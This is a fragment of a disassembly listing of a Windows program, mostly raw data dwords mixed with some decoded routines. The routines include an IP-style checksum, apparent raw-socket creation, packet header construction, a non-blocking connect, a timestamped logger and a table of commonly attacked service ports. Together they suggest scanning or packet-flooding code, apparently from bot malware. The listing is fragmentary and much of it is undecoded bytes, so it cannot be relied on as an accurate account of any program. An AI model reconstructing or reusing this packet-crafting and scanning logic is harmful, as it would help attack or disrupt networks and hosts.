dd 0D7FFFFFFh, 33F0452Bh, 3E8B9D2h, 0F1F70000h, 0F0C453Bh
dd 0CF87h, 7B90E800h, 8B990000h, 8BF9F7CBh, 0FF25F445h
dd 0C100FFFFh, 0D00B18E2h, 0E8F45589h, 7B76h, 0F7CB8B99h
dd 0AC5589F9h, 7B69E8h, 0A4B99900h, 0C600001Fh, 0F745DC45h
dd 0DD45C6F9h, 0D4558904h, 7B51E8h, 45896600h, 7B48E8E0h
dd 0A6A0000h, 0F9F75999h, 95448B66h, 15FF50B0h, 4CB654h
dd 45896656h, 5415FFE2h, 66004CB6h, 88DE4589h, 1FE8E45Dh
dd 6A00007Bh, 0F759990Eh, 8A146AF9h, 0FF789584h, 4588FFFFh
dd 0F4458BE5h, 8BE84589h, 45890845h, 0DC458DECh, 6E7FE850h
dd 8966FFFFh, 458DE645h, 50146ADCh, 0E8F875FFh, 8514h
dd 8D14C483h, 0FFFF6885h, 50106AFFh, 0FF56006Ah, 75FFF875h
dd 0B815FFFCh, 0E9004CB6h, 0FFFFFF1Ah, 0E8F875FFh, 728Dh
dd 0FC75FF59h, 0B6EC15FFh, 16A004Ch, 5B5E5F58h
; ---------------------------------------------------------------------------
leave
retn
; ---------------------------------------------------------------------------
word_413E36 dw 8B55h ; DATA XREF: sub_401ACD+53E9o
dd 40EC81ECh, 8B000004h, 56530845h, 8B686A57h, 0BD8D59F0h
dd 0FFFFFDC0h, 16AA5F3h, 8D5EDB33h, 0FFFF61BDh, 890E6AFFh
dd 19CB0h, 0C0335900h, 0FF609D88h, 0ABF3FFFFh, 8BAAAB66h
dd 4270A83Dh, 50D7FF00h, 7A57E8h, 0FF685900h, 6A000000h
dd 0FF026A03h, 4CB6D415h, 0FFF88300h, 75FC4589h, 0E815FF66h
dd 50004CB5h, 0FBC0858Dh, 7468FFFFh, 50004365h, 79D5E8h
dd 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh
dd 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh
dd 0FFFF5B97h, 8D14C483h, 0FFFBC085h, 0C2E850FFh, 0FF000012h
dd 0FFFF44B5h, 751DE8FFh, 5959FFFFh, 0C102E853h, 8D90022Fh
dd 46ACC4Dh, 53026A51h, 0CC758950h, 0B63415FFh, 0F883004Ch
dd 0FF6675FFh, 4CB5E815h, 858D5000h, 0FFFFFBC0h, 43653C68h
dd 57E85000h, 83000079h, 9D390CC4h, 0FFFFFF58h, 8D532375h
dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh
dd 0FFFDC0B5h, 5B19E8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh
dd 1244E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF749Fh, 90535959h
dd 2FC083E8h, 0C4858D02h, 50FFFFFDh, 0B69415FFh, 0F883004Ch
dd 8D5E75FFh, 0FFFBC085h, 651C68FFh, 0E8500043h, 78E6h
dd 0FF589D39h, 5959FFFFh, 8D532375h, 0FFFBC085h, 54B5FFFFh
dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 5AA9E8FFh
dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 11D4E8h, 44B5FF00h
dd 0E8FFFFFFh, 0FFFF742Fh, 90535959h, 2FC013E8h, 8D106A02h
dd 5053BC45h, 7597E8h, 0CC48300h, 0BC45C766h, 0FF530002h
dd 4CB65415h, 45896600h, 0C4858DBEh, 50FFFFFDh, 0B69415FFh
dd 4589004Ch, 85D89C0h, 4589D7FFh, 2BD7FFD0h, 0D233D045h
dd 3E8B9h, 3BF1F700h, 0FFFF4C85h, 0AA870FFFh, 6A000002h
dd 0D445C628h, 5415FF45h, 39004CB6h, 0FFFF509Dh, 458966FFh
dd 758966D6h, 5D8966D8h, 0DC45C6DAh, 0DD45C680h, 5D896606h
dd 0E82D74DEh, 7872h, 0E6C1F08Bh, 7868E808h, 0F0030000h
dd 0E808E6C1h, 785Eh, 0E6C1F003h, 7854E808h, 0F0030000h
dd 7589016Ah, 16EB5EE0h, 0FDC0B5FFh, 6DE8FFFFh, 59FFFF6Bh
dd 9415FF50h, 89004CB6h, 458BE045h, 489D39C0h, 89FFFFFFh
dd 1075E445h, 7821E8h, 1B99900h, 0F7000004h, 6EB52F9h
dd 0FF48B5FFh, 15FFFFFFh, 4CB654h, 0EA458966h, 7801E8h
dd 1B99900h, 0F7000004h, 15FF52F9h, 4CB654h, 34567868h
dd 45896612h, 5015FFE8h, 89004CB6h, 858DEC45h, 0FFFFFE44h
dd 42B28C68h, 0EDE85000h, 59000077h, 7459C085h, 0F05D8909h
dd 2F545C6h, 858D5CEBh, 0FFFFFE44h, 42B0C468h, 0CDE85000h
dd 59000077h, 7459C085h, 0F05D8909h, 10F545C6h, 858D3CEBh
dd 0FFFFFE44h, 42B0BC68h, 0ADE85000h, 59000077h, 7459C085h
dd 7784E825h, 36A0000h, 0F9F75999h, 0E8F05589h, 7776h
dd 5999026Ah, 0DAF7F9F7h, 0E280D21Ah, 88D1020Eh, 68F555h
dd 0C6000002h, 0FF50F445h, 4CB65415h, 45896600h, 0E0458BF6h
dd 8B9C4589h, 146AE445h, 0FA5D8966h, 0F85D8966h, 88A04589h
dd 45C6A45Dh, 15FF06A5h, 4CB654h, 0A6458966h, 6A9C458Dh
dd 858D5020h, 0FFFFFF60h, 8146E850h, 458D0000h, 50146AE8h
dd 5080458Dh, 8137E8h, 60858D00h, 6AFFFFFFh, 82E85034h
dd 66FFFF6Ah, 8DF84589h, 146AD445h, 60858D50h, 50FFFFFFh
dd 8113E8h, 0E8458D00h, 8D50146Ah, 0FFFF7485h, 1E850FFh
dd 6A000081h, 88458D04h, 75E85053h, 83000073h, 858D44C4h
dd 0FFFFFF60h, 0E850286Ah, 0FFFF6A3Dh, 0DE458966h, 6AD4458Dh
dd 858D5014h, 0FFFFFF60h, 80CEE850h, 0C4830000h, 0BC458D14h
dd 5350106Ah, 0FF60858Dh, 3C6AFFFFh, 0FC75FF50h, 0B6B815FFh
dd 0F883004Ch, 0FF0874FFh, 0BAE90845h, 0FFFFFFFDh, 15FFFC75h
dd 4CB6ECh, 0B5E815FFh, 8D50004Ch, 0FFFDC485h, 875FFFFh
dd 64CC6850h, 858D0043h, 0FFFFFBC0h, 20068h, 0E5E85000h
dd 83000076h, 9D3918C4h, 0FFFFFF58h, 8D532375h, 0FFFBC085h
dd 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h
dd 57ADE8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 0ED8E8h
dd 44B5FF00h, 0E8FFFFFFh, 0FFFF7133h, 0E8535959h, 22FBD18h
dd 0FC75FF90h, 0B6EC15FFh, 458B004Ch, 6BD23308h, 0C88B3CC0h
dd 0F70AE8C1h, 0FFFF4CB5h, 14E9C1FFh, 858D5051h, 0FFFFFDC4h
dd 500875FFh, 0FE44858Dh, 8D50FFFFh, 0FFFBC085h, 647C68FFh
dd 0E8500043h, 755Ah, 391CC483h, 0FFFF589Dh, 532375FFh
dd 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h, 50FFFFFEh
dd 0FDC0B5FFh, 1CE8FFFFh, 83FFFF57h, 858D14C4h, 0FFFFFBC0h
dd 0E47E850h, 0B5FF0000h, 0FFFFFF44h, 0FF70A2E8h, 535959FFh
dd 0BC86E890h
db 2Fh, 2
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+0Ch], esi
jle short loc_4143A6
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414398: ; CODE XREF: ___:004143A0j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_414398
pop edi
cmp eax, 1
loc_4143A6: ; CODE XREF: ___:0041438Cj
jnz short loc_4143B3
mov al, [edx]
mov [ebp+0Ch], al
movzx eax, word ptr [ebp+0Ch]
add esi, eax
loc_4143B3: ; CODE XREF: ___:loc_4143A6j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
; ---------------------------------------------------------------------------
dword_4143CC dd 81EC8B55h, 394ECh, 8458B00h, 656A5756h, 8DF08B59h, 0FFFE6CBDh
; DATA XREF: sub_401ACD+6D4Ao
dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 737CE8h
dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 6CB58D50h
dd 81FFFFFEh, 194ECh, 59656A00h, 0A5F3FC8Bh, 5FE8h, 9CC48100h
dd 50000001h, 0FC6C858Dh, 0A868FFFFh, 50004365h, 7449E8h
dd 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh, 75FFFFFFh
dd 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh, 0FFFF560Fh
dd 8D14C483h, 0FFFC6C85h, 3AE850FFh, 0FF00000Dh, 98E8F075h
dd 59FFFF6Fh, 0E8905659h, 22FBB7Ch, 81EC8B55h, 0CCECh
dd 8B565300h, 4270A835h, 57DB3300h, 0FFFC5D89h, 0FF68D6h
dd 36A0000h, 4589026Ah, 0D415FFF0h, 89004CB6h, 0D6FFF845h
dd 741EE850h, 0BF590000h, 578h, 6A096A57h, 41BBE801h, 59590000h
dd 0D8458D50h, 70BAE850h, 0C4830000h, 5A0BE0Ch, 0E8900000h
dd 22AC189h, 33F0452Bh, 3E8B9D2h, 0F1F70000h, 1A0853Bh
dd 870F0000h, 1C2h, 0EE081D39h, 5975004Ch, 8958106Ah, 8D50EC45h
dd 50539845h, 707BE8h, 0CC48300h, 50EC458Dh, 5098458Dh
dd 0FF0875FFh, 4CB5F815h, 0FF6800h, 16A0000h, 4150E8h
dd 50595900h, 9E45B60Fh, 45B60F50h, 0B60F509Dh, 8D509C45h
dd 0FFFF3485h, 0DC6C68FFh, 0E8500042h, 732Eh, 0EB18C483h
dd 34858D13h, 68FFFFFFh, 4CE7E8h, 7942E850h, 59590000h
dd 0FF34858Dh, 0FF50FFFFh, 4CB69415h, 0F4458900h, 24A8458Bh
dd 450C5645h, 10AC45C6h, 0FFA84589h, 4CB65415h, 45896600h
dd 7344E8AEh, 89660000h, 458BB045h, 0B84589F4h, 19C858Bh
dd 0C7660000h, 40B245h, 40B445C6h, 6B545C6h, 0B65D8966h
dd 0E8BC4589h, 731Ah, 0C0458966h, 7311E8h, 45896600h, 7308E8C2h
dd 45890000h, 7300E8C4h, 45890000h, 0CC458BC8h, 0FF502566h
dd 500C146Ah, 18CE45C6h, 0CC458966h, 0C2458B66h, 8A458966h
dd 89BC458Bh, 458D8C45h, 0C76650A8h, 787DD045h, 0D25D8966h
dd 0D45D8966h, 8845C766h, 57E80002h, 66FFFFFDh, 8DB64589h
dd 286AA845h, 0FD48E850h, 458BFFFFh, 10C483B8h, 0FF548589h
dd 458BFFFFh, 58C68BCh, 85890000h, 0FFFFFF58h, 0FF5C9D88h
dd 85C6FFFFh, 0FFFFFF5Dh, 0E7E89006h, 667169D0h, 0FF5E8589h
dd 858DFFFFh, 0FFFFFF60h, 8D50146Ah, 0E850C045h, 7C98h
dd 0FF74858Dh, 5057FFFFh, 50D8458Dh, 7C87E8h, 54858D00h
dd 68FFFFFFh, 598h, 0FCE0E850h, 0C483FFFFh, 45896620h
dd 8D106AD2h, 53508845h, 56A8458Dh, 0F875FF50h, 0B6B815FFh
dd 45FF004Ch, 0FE20E9FCh, 75FFFFFFh, 0EC15FFF8h, 8B004CB6h
dd 5E5FFC45h
; ---------------------------------------------------------------------------
pop ebx
leave
retn
; ---------------------------------------------------------------------------
byte_4146CF db 55h ; DATA XREF: sub_401ACD+4CC0o
dd 0EC81EC8Bh, 414h, 5608558Bh, 85B8h, 0C88B5700h, 0BD8DF28Bh
dd 0FFFFFDECh, 214EC81h, 0A5F30000h, 0B58DC88Bh, 0FFFFFDECh
dd 82C7FC8Bh, 210h, 1, 37E8A5F3h, 81000000h, 214C4h, 858D5000h
dd 0FFFFFBECh, 4365DC68h, 5FE85000h, 8D000071h, 0FFFBEC85h
dd 7AE850FFh, 0FF00000Ah, 0D8E8F075h, 83FFFF6Ch, 6A14C4h
dd 0B8BAE890h, 8B55022Fh, 54EC81ECh, 53000002h, 0FFBB56h
dd 53570000h, 26A036Ah, 0B6D415FFh, 0F883004Ch, 0F44589FFh
dd 858D1A75h, 0FFFFFDACh, 4367CC68h, 0BE85000h, 59000071h
dd 0E959FF33h, 2C9h, 6AEC4D8Dh, 0FF335104h, 5057026Ah
dd 1EC45C7h, 0FF000000h, 4CB63415h, 0FFF88300h, 15FF0E75h
dd 4CB5E8h, 677C6850h, 1BEB0043h, 500C458Dh, 0B69415FFh
dd 0F883004Ch, 0FF2075FFh, 4CB5E815h, 38685000h, 8D004367h
dd 0FFFDAC85h, 0AFE850FFh, 83000070h, 6EE90CC4h, 57000002h
dd 0DC45C766h, 15FF0002h, 4CB654h, 0DE458966h, 500C458Dh
dd 69CAFFE8h, 358B9071h, 4270A8h, 0FFE04589h, 0F84589D6h
dd 500C458Dh, 0FDAC858Dh, 0C68FFFFh, 50004367h, 7069E8h
dd 0CC48300h, 214BD39h, 20750000h, 0AC858D57h, 0FFFFFFFDh
dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF522EE8h, 14C483FFh
dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h
dd 10C85h, 12E85000h, 3B00006Fh, 870F59F0h, 193h, 41CBEh
dd 0BB05EB00h, 0FFh, 0EE083D39h, 5275004Ch, 8958106Ah
dd 8D50F045h, 5057CC45h, 6CFBE8h, 0CC48300h, 50F0458Dh
dd 50CC458Dh, 0FF0875FFh, 4CB5F815h, 16A5300h, 3DD4E8h
dd 50595900h, 0D245B60Fh, 45B60F50h, 0B60F50D1h, 8D50D045h
dd 6C68AC45h, 500042DCh, 6FB5E8h, 18C48300h, 458D10EBh
dd 0E7E868ACh, 0E850004Ch, 75CCh, 0C6565959h, 4CE9E805h
dd 15FF4500h, 4CB654h, 0E9EAA366h, 458D004Ch, 0C76650ACh
dd 4CE9EC05h, 66000100h, 0E9EE3D89h, 5C6004Ch, 4CE9F0h
dd 0F105C680h, 11004CE9h, 0F23D8966h, 0FF004CE9h, 4CB69415h
dd 0E9F4A300h, 458B004Ch, 0E9F8A3E0h, 858D004Ch, 8Ch, 3D896650h
dd 4CEA02h, 6E30E8h, 59C08500h, 8FE81075h, 9900006Fh, 401B9h
dd 52F9F700h, 858D0EEBh, 8Ch, 6E0FE850h, 50590000h, 0B65415FFh
dd 0A366004Ch, 4CE9FEh, 6F65E8h, 1B99900h, 68000004h, 408h
dd 8966F9F7h, 4CE9FC15h, 5415FF00h, 68004CB6h, 400h, 0EA00A366h
dd 3BE8004Ch, 9900006Fh, 6852FBF7h, 4CEA04h, 6BDBE8h, 0CC48300h
dd 6ADC458Dh, 56575010h, 4CE9E868h, 0F475FF00h, 0B6B815FFh
dd 0F883004Ch, 0A5840FFFh, 0FF000000h, 0E890FC45h, 22ABC8Dh
dd 33F8452Bh, 3E8B9D2h, 0F1F70000h, 858DD88Bh, 10Ch, 6D7FE850h
dd 0D83B0000h, 74860F59h, 0FFFFFFFEh, 15FFF475h, 4CB6ECh
dd 8DFC758Bh, 10C85h, 0F6695000h, 41Ch, 6D58E8h, 0D2335900h
dd 0C68BC88Bh, 0F70AE8C1h, 14EEC1F1h, 75FF5650h, 0C458DFCh
dd 66A86850h, 858D0043h, 0FFFFFDACh, 6E3CE850h, 0C4830000h
dd 14BD3918h, 75000002h, 858D5720h, 0FFFFFDACh, 210B5FFh
dd 8D500000h, 18C85h, 75FF5000h, 5001E808h, 0C483FFFFh
dd 335E5F14h, 0C3C95BC0h, 56FC75FFh, 0B5E815FFh, 8D50004Ch
dd 68500C45h, 43661Ch
db 0EBh, 0ACh
word_414A92 dw 8B55h ; DATA XREF: sub_401ACD+6362o
dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 6CB4E8h
dd 8D505900h, 0FFFE7085h, 0A6E850FFh, 5900006Ch, 0F0858D50h
dd 50FFFFFDh, 0B69415FFh, 0E850004Ch, 147h, 500CC483h
dd 0FBEC858Dh, 0F868FFFFh, 50004367h, 6D89E8h, 83F63300h
dd 75390CC4h, 562075F8h, 0FBEC858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF4F4Fh, 8D14C483h
dd 0FFFBEC85h, 7AE850FFh, 0FF000006h, 0D8E8F075h, 59FFFF68h
dd 0E8905659h, 22FB4BCh
; ---------------------------------------------------------------------------
pop edi
pop esi
push ebp
mov ebp, esp
sub esp, 210h
and dword ptr [ebp-4], 0
cmp dword ptr [ebp+14h], 0
push esi
push edi
jnz short loc_414B6F
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 71AB3E5Dh
nop
jmp loc_414C2B
; ---------------------------------------------------------------------------
loc_414B6F: ; CODE XREF: ___:00414B59j
mov esi, [ebp+8]
push 1
pop edi
lea eax, [ebp-8]
push eax
push 8004667Eh
push esi
mov [ebp-8], edi
nop
call near ptr 71AB155Ah
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push esi
call dword_4CB5FC
push dword ptr [ebp+14h]
lea eax, [ebp-210h]
mov [ebp-108h], esi
mov [ebp-10Ch], edi
push 0
push eax
lea eax, [ebp-10Ch]
mov [ebp-20Ch], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp-210h], edi
call dword_4CB63C
test eax, eax
jnz short loc_414BD3
or eax, 0FFFFFFFFh
jmp short loc_414C2B
; ---------------------------------------------------------------------------
loc_414BD3: ; CODE XREF: ___:00414BCCj
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_414BDE
loc_414BDA: ; CODE XREF: ___:00414BFEj
; ___:00414C22j
mov eax, edi
jmp short loc_414C2B
; ---------------------------------------------------------------------------
loc_414BDE: ; CODE XREF: ___:00414BD8j
lea eax, [ebp-10Ch]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_414C00
lea eax, [ebp-210h]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_414BDA
loc_414C00: ; CODE XREF: ___:00414BEDj
lea eax, [ebp+8]
mov dword ptr [ebp+8], 4
push eax
lea eax, [ebp-4]
push eax
push 1007h
push 0FFFFh
push esi
call near ptr 71AB4122h
nop
cmp eax, edi
jz short loc_414BDA
mov eax, [ebp-4]
neg eax
sbb eax, eax
loc_414C2B: ; CODE XREF: ___:00414B6Aj
; ___:00414BD1j ...
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
db 55h
dd 0EC81EC8Bh, 10Ch, 6A575653h, 0DB335801h, 68535350h
dd 0FFh, 26A036Ah, 90EC4589h, 6A0DACE8h, 0EC4D8D71h, 6A51046Ah
dd 0A3505302h, 4CEE78h, 0B63415FFh, 358B004Ch, 4270A8h
dd 0E850D6FFh, 6C60h, 6AC03359h, 0BD8D19h, 59FFFFFFh, 0FEF49D89h
dd 4D89FFFFh, 0F89D8984h, 89FFFFFEh, 0FFFEFC9Dh, 7485C7FFh
dd 1FFFFFFh, 0C7000004h, 0FFFF7885h, 15FFh, 7C85C700h
dd 16FFFFFFh, 0C7000000h, 178045h, 45C70000h, 3588h, 8C45C700h
dd 50h, 519045C7h, 0C7000000h, 589445h, 45C70000h, 6E98h
dd 9C45C700h, 71h, 77A045C7h, 0C7000000h, 87A445h, 45C70000h
dd 89A8h, 0AC45C700h, 8Bh, 8FB045C7h, 0C7000000h, 1BBB445h
dd 45C70000h, 1BDB8h, 0BC45C700h, 400h, 99C045C7h, 0C7000005h
dd 5DCC445h, 45C70000h, 6B8C8h, 0CC45C700h, 0CEAh, 3DD045C7h
dd 0C700000Dh, 1388D445h, 45C70000h, 1A0BD8h, 0DC45C700h
dd 1F40h, 90E045C7h, 0F300001Fh, 0F05D89ABh, 3E445C7h
dd 0C7000000h, 0BB8E845h, 5D890000h, 8458BFCh, 6485C766h
dd 2FFFFFFh, 68858900h, 8BFFFFFFh, 0BC8DFC45h, 0FFFF7405h
dd 848B66FFh, 0FFFF7405h, 15FF50FFh, 4CB654h, 6A016A53h
dd 85896602h, 0FFFFFF66h, 0B6D415FFh, 4D8D004Ch, 0F44589E4h
dd 648D8D51h, 6AFFFFFFh, 0E8505110h, 0FFFFFD7Eh, 8910C483h
dd 75FFF845h, 0EC15FFF4h, 39004CB6h, 0C75F85Dh, 8BFC4D8Bh
dd 0D848907h, 0FFFFFEF4h, 4FC4583h, 70FC7D83h, 7CBF837Ch
dd 68004CEEh, 42D128h, 6A84E857h, 59590000h, 4589D6FFh
dd 0F4858DF4h, 89FFFFFEh, 4589FC5Dh, 2BD6FFF8h, 0D233F445h
dd 3E8B9h, 3BF1F700h, 45770C45h, 8BF8458Bh, 74C33B00h
dd 68575015h, 436824h, 0F0458957h, 6A45E8h, 10C48300h
dd 0FF681AEBh, 530000FFh, 3834E8h, 50595900h, 0B65415FFh
dd 0B70F004Ch, 0F04589C0h, 83FC45FFh, 8304F845h, 7C1CFC7Dh
dd 53286AA8h, 4CEE1868h, 6716E800h, 0FFBE0000h, 0C60000FFh
dd 4CEE1805h, 68564500h, 400h, 0EE2105C6h, 0C606004Ch
dd 4CEE1905h, 0E6E80800h, 83000037h, 0FF5014C4h, 4CB65415h
dd 66286A00h, 4CEE1CA3h, 5415FF00h, 80004CB6h, 4CEE200Dh
dd 1D39FF00h, 4CEE08h, 0EE1AA366h, 8966004Ch, 4CEE1E1Dh
dd 681A7500h, 0FFFEh, 0A6E8016Ah, 59000037h, 84D8B59h
dd 2310E0C1h, 0EBC10BCEh, 0E7E8680Bh, 15FF004Ch, 4CB694h
dd 4CEE24A3h, 8458B00h, 400068h, 0EE28A300h, 1D88004Ch
dd 4CEE39h, 0B65415FFh, 5356004Ch, 0EE3AA366h, 62E8004Ch
dd 8B000037h, 0C15356F8h, 56E808E7h, 83000037h, 0F80310C4h
dd 5015FF57h, 0A3004CB6h, 4CEE30h, 4CEE38A0h, 87D8B00h
dd 500C0F24h, 38A2146Ah, 66004CEEh, 89F0458Bh, 4CEE341Dh
dd 1D896600h, 4CEE3Eh, 0EE2EA366h, 3D89004Ch, 4CEE54h
dd 0EE581D88h, 5C6004Ch, 4CEE59h, 5415FF06h, 66004CB6h
dd 4CEE5AA3h, 2EA16600h, 66004CEEh, 0EE4005C7h, 2004Ch
dd 0EE443D89h, 0A366004Ch, 4CEE42h, 0EBFC5D89h, 0FFFFBE05h
dd 5D390000h, 562F75FCh, 36CBE853h, 59590000h, 5415FF50h
dd 66004CB6h, 4CEE2CA3h, 0EE24A100h, 50A3004Ch, 0C6004CEEh
dd 4CEE3905h, 1D890200h, 4CEE34h, 53561FEBh, 0EE3905C6h
dd 0E810004Ch, 3695h, 0FF505959h, 4CB65415h, 0C0B70F00h
dd 4CEE34A3h, 5FF6600h, 4CEE1Ch, 0EE3005FFh, 0A166004Ch
dd 4CEE2Eh, 0BE59056Ah, 4CEE2Ch, 4CEE5CBFh, 1D896600h
dd 4CEE22h, 3C1D8966h, 6A004CEEh, 0BEA5F314h, 4CEE18h
dd 0EE42A366h, 0E856004Ch, 0FFFF5C25h, 5068206Ah, 66004CEEh
dd 4CEE22A3h, 5C13E800h, 0C483FFFFh, 3CA36610h, 6A004CEEh
dd 0EE406810h, 6A53004Ch, 35FF5628h, 4CEE78h, 0B6B815FFh
dd 45FF004Ch, 0FC7D81FCh, 3FFh, 0FF238C0Fh, 0E890FFFFh
dd 22AB5E1h, 33F4452Bh, 3E8B9D2h, 0F1F70000h, 770C453Bh
dd 1075FF0Eh, 0BE9EE890h, 0C2E90228h, 5FFFFFFDh, 0EE7CB85Eh
dd 0C95B004Ch
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4150B5 proc near ; CODE XREF: sub_401ACD+7200p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43D810
mov edi, 0B8h
loc_4150C9: ; CODE XREF: sub_4150B5+33j
cmp byte ptr [esi], 0
jz short loc_4150EC
push [ebp+arg_0]
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4150EC
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43E390
jl short loc_4150C9
jmp short loc_41512E
; ---------------------------------------------------------------------------
loc_4150EC: ; CODE XREF: sub_4150B5+17j
; sub_4150B5+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43D810[esi]
push ebx
call sub_41B590
push 17h
push [ebp+arg_0]
push ebx
call sub_41B5F0
push 9Fh
lea eax, dword_43D828[esi]
push [ebp+arg_4]
push eax
call sub_41B5F0
add esp, 24h
inc dword_4294D4
pop ebx
loc_41512E: ; CODE XREF: sub_4150B5+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_4150B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415135 proc near ; CODE XREF: sub_401ACD+28DEp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_436840
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
xor edi, edi
mov esi, offset dword_43D810
loc_41515F: ; CODE XREF: sub_415135+72j
cmp byte ptr [esi], 0
jz short loc_41519A
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_43682C
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41B980
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 2Ch
loc_41519A: ; CODE XREF: sub_415135+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43E390
jl short loc_41515F
pop edi
pop esi
leave
retn
sub_415135 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151AD proc near ; CODE XREF: ___:004015A5p
; ___:00401629p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
nop
call near ptr 27B015Fh
mov ebx, offset dword_4D327C
mov edi, 80h
mov esi, offset dword_4CF27C
loc_4151CF: ; CODE XREF: sub_4151AD+3Dj
cmp byte ptr [ebx], 0
jz short loc_4151E6
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41B5F0
add esp, 0Ch
loc_4151E6: ; CODE XREF: sub_4151AD+25j
sub ebx, edi
cmp ebx, esi
jge short loc_4151CF
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41B980
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_4151AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415221 proc near ; CODE XREF: sub_4017ED+F7p
; sub_401ACD:loc_402077p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41C190
lea eax, [ebp+var_80]
push eax
call sub_4151AD
add esp, 14h
leave
retn
sub_415221 endp
; =============== S U B R O U T I N E =======================================
sub_41524D proc near ; CODE XREF: sub_401ACD+27D5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4CF27C
xor ecx, ecx
loc_415254: ; CODE XREF: sub_41524D+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D327C
jl short loc_415254
cmp [esp+arg_C], ecx
jnz short loc_415282
push ecx
push [esp+4+arg_8]
push offset dword_43688C
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409A73
add esp, 14h
loc_415282: ; CODE XREF: sub_41524D+19j
push offset dword_436878
call sub_4151AD
pop ecx
retn
sub_41524D endp
; ---------------------------------------------------------------------------
word_41528E dw 8B55h ; DATA XREF: sub_401ACD+2888o
dd 1CEC81ECh, 8B000003h, 57560845h, 8B59456Ah, 0E4BD8DF0h
dd 6AFFFFFEh, 33A5F301h, 55395FD2h, 0F845C7F0h, 80h, 89FC5589h
dd 110B8h, 521E7500h, 0FEE8858Dh, 75FFFFFFh, 68BC68ECh
